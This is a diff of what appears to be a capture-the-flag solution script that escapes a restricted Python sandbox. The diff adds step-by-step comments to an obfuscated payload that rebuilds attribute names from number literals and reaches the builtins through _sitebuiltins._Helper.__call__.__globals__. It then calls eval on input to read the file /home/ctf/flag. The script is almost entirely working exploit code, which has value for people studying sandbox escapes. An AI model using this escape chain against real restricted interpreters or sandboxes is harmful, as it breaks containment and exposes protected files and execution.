@@ -57,17 +57,36 @@ def lit(n):
57
57
resp = oracle (
58
58
f'[] and ({ npad } ) or [] and (0/0+{ cpad } )'
59
59
f'or ({ n0 } :=not[[]])or({ n1 } :=(not[])+{ n0 } )and({ n2 } :={ n1 } +{ n1 } )and({ n4 } :={ n2 } +{ n2 } )and({ n8 } :={ n4 } +{ n4 } )and({ n16 } :={ n8 } +{ n8 } )and({ n32 } :={ n16 } +{ n16 } )and({ n64 } :={ n32 } +{ n32 } )'
60
- #f'and {n8}'
60
+
61
+ # "values"
61
62
f'and ({ values } :=f"{{168}}"[{ n8 } +{ n4 } +{ n1 } :-{ n2 } ])'
63
+
64
+ # "__dict__"
62
65
f'and ({ __dict__ } :=796[{ n0 } ]*{ n2 } + f"{{150}}"[{ n8 } :{ n8 } +{ n4 } ] + 796[{ n0 } ]*{ n2 } )'
66
+
67
+ # "__class__"
63
68
f'and ({ __class__ } :=796[{ n0 } ]*{ n2 } + f"{{4}}"[{ n1 } :{ n4 } +{ n2 } ] + 796[{ n0 } ]*{ n2 } )'
69
+
70
+ # object.__getattribute__
64
71
f'and ({ ga } :=(6).{ __getattribute__ } )'
72
+
73
+ # _sitebuiltins._Helper
65
74
f'and ({ hlp } :=[*{ ga } ({ ga } ({ ga } (6,{ __class__ } ),{ __dict__ } ),{ values } )()][{ n8 } ](6)[-{ n1 } ])'
75
+
76
+ # _sitebuiltins._Helper.__call__
66
77
f'and ({ fun } :=[*{ ga } ({ ga } ({ hlp } ,{ __dict__ } ),{ values } )()][-{ n1 } -{ n2 } ])'
78
+
79
+ # _sitebuiltins._Helper.__call__.__globals__
67
80
f'and ({ __globals__ } :=796[{ n0 } ]*{ n2 } + 988[{ lit (114 )} :{ lit (120 )} ] + 797[{ n1 } ] + 796[{ n0 } ]*{ n2 } )'
81
+
82
+ # _sitebuiltins._Helper.__call__.__globals__['__builtins__']
68
83
f'and ({ sice } :=[*{ ga } ([*{ ga } ({ ga } ({ fun } ,{ __globals__ } ),{ values } )()][{ n8 } -{ n1 } ],{ values } )()])'
84
+
85
+ # eval(input(), __builtins__ from _sitebuiltins._Helper)
86
+ # the second arg to eval is needed because the challenge trashed our own __builtins__
69
87
f'and { sice } [{ lit (19 )} ]({ sice } [{ lit (28 )} ](),{ ga } ({ fun } ,{ __globals__ } ))'
70
88
89
+ # input to input()
71
90
+ '\n print(open("/home/ctf/flag").read())'
72
91
)
73
92
print (resp .decode ().strip ())
0 commit comments